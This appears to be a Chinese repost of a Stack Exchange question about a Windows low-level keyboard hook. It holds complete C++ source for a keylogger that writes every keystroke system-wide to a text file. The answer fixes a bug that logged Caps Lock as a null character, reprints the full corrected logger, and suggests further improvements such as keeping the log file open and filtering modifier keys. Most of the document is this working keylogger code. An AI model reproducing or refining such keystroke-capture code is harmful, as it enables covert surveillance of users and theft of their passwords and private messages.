低级键盘钩子将Caps Lock记录为空字符的问题解决求助

问题描述 #

使用Low Level Keyboard Hook（低级键盘钩子）将按键记录到.txt文件时，每次按下Caps Lock开启大写状态，文件中会被记录一个空字符——VSCode中显示为红色小框内的“null”，记事本中显示为空白空格。推测是Caps Lock的虚拟键被映射为空字符，其余功能正常，需要阻止该空白空格生成。

原始代码 #

#include <fstream>
#include <ctype.h>
#include <windows.h>

LRESULT CALLBACK kybHP(int nCode, WPARAM wParam, LPARAM lParam){
    KBDLLHOOKSTRUCT *lPp = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
    switch (wParam){
    case WM_KEYDOWN:
        // If the shift key is being pressed, cout normally which by default is in UPPERCASE.
        if (GetAsyncKeyState(VK_SHIFT) & 0x8000){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close();        
        }
        //If Caps Lock is ON, cout normally which by default is in UPPERCASE.
        else if (GetKeyState(VK_CAPITAL) == 1){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close(); 
        }
        else if (lPp->vkCode == VK_BACK){
            std::cout<<"[BACK]";
            std::ofstream logs;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<"[BACK]";
            logs.close();
        }
        //If the shift key isn't pressed, cout in lowercase; this is accomplished by using the tolower function.
        else{
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            char lowerkey = std::tolower(key);
            std::ofstream logs;
            std::cout<<lowerkey;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<lowerkey;
            logs.close();
        }
    break;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


int main(){
    HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, &kybHP, 0, 0);

    MSG message;
    while (GetMessage(&message, NULL, NULL, NULL) > 0){
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
    UnhookWindowsHookEx(keyboard);
    return 0;
}

解决方法 #

问题根源是Caps Lock按键（虚拟键值VK_CAPITAL）通过MapVirtualKey映射后得到的是空字符，所以在处理按键时，需要先判断当前按下的是否是Caps Lock，若是则直接跳过记录逻辑。

修改后的代码如下：

#include <fstream>
#include <ctype.h>
#include <windows.h>

LRESULT CALLBACK kybHP(int nCode, WPARAM wParam, LPARAM lParam){
    KBDLLHOOKSTRUCT *lPp = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
    switch (wParam){
    case WM_KEYDOWN:
        // 跳过Caps Lock按键的记录，避免生成空字符
        if (lPp->vkCode == VK_CAPITAL) {
            break;
        }

        // If the shift key is being pressed, cout normally which by default is in UPPERCASE.
        if (GetAsyncKeyState(VK_SHIFT) & 0x8000){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close();        
        }
        //If Caps Lock is ON, cout normally which by default is in UPPERCASE.
        else if (GetKeyState(VK_CAPITAL) == 1){
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            std::ofstream logs;
            std::cout<<key;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<key;
            logs.close(); 
        }
        else if (lPp->vkCode == VK_BACK){
            std::cout<<"[BACK]";
            std::ofstream logs;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<"[BACK]";
            logs.close();
        }
        //If the shift key isn't pressed, cout in lowercase; this is accomplished by using the tolower function.
        else{
            char key = MapVirtualKey(lPp ->vkCode, MAPVK_VK_TO_CHAR);
            char lowerkey = std::tolower(key);
            std::ofstream logs;
            std::cout<<lowerkey;
            logs.open("keylogs.txt", std::ios_base::app);
            logs<<lowerkey;
            logs.close();
        }
    break;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


int main(){
    HHOOK keyboard = SetWindowsHookEx(WH_KEYBOARD_LL, &kybHP, 0, 0);

    MSG message;
    while (GetMessage(&message, NULL, NULL, NULL) > 0){
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
    UnhookWindowsHookEx(keyboard);
    return 0;
}

关键修改点 #

在case WM_KEYDOWN的最开头添加判断：

// 跳过Caps Lock按键的记录，避免生成空字符
if (lPp->vkCode == VK_CAPITAL) {
    break;
}

这样当检测到Caps Lock按下时，直接跳出当前分支，不会执行后续的字符映射和文件写入操作，也就不会生成空字符。

额外优化建议 #

• 每次记录都打开关闭文件会影响性能，建议将文件流声明为全局变量，或者在钩子函数外初始化后保持打开状态，避免频繁IO操作。
• 可以扩展过滤其他不需要记录的系统按键（如Ctrl、Alt等），同样通过判断虚拟键值跳过。

内容的提问来源于stack exchange，提问作者Joy